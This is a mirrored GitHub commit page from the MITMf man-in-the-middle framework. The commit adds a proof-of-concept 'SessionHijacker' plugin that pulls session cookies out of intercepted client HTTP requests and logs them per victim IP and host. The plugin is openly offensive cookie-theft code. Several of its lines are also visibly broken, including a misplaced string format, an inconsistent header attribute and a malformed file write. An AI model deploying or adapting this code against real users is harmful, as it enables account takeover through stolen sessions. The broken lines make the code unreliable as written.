mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-10 15:23:41 -07:00
added PoC session hijacking plugin
This commit is contained in:
parent
e2132a6ca9
commit
e4cf519356
7 changed files with 69 additions and 17 deletions
30
plugins/SessionHijacker.py
Normal file
30
plugins/SessionHijacker.py
Normal file
|
@ -0,0 +1,30 @@
|
|||
from plugins.plugin import Plugin
|
||||
import os
|
||||
import argparse
|
||||
import logging
|
||||
|
||||
class SessionHijacker(Plugin):
|
||||
name = "Session Hijacker"
|
||||
optname = "hijack"
|
||||
desc = "Performs session hijacking attacks against clients"
|
||||
implements = ["sendHeaders"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.log_clients = options.clients
|
||||
|
||||
def sendHeaders(self, request):
|
||||
for header, value in request.headers.items():
|
||||
if header == 'cookie':
|
||||
if self.log_clients:
|
||||
log_file = open('./logs/%s.log', 'a' % request.client.getClientIP())
|
||||
log_file.write(request.header['host'], value, "\n")
|
||||
log_file.close()
|
||||
|
||||
logging.info("%s %s << Wrote cookie to logfile" % (request.client.getClientIP(), request.headers['host']))
|
||||
else:
|
||||
logging.info("%s %s << Got cookie: %s" % (request.client.getClientIP(), request.headers['host'], value))
|
||||
|
||||
#def add_options(options):
|
Loading…
Add table
Add a link
Reference in a new issue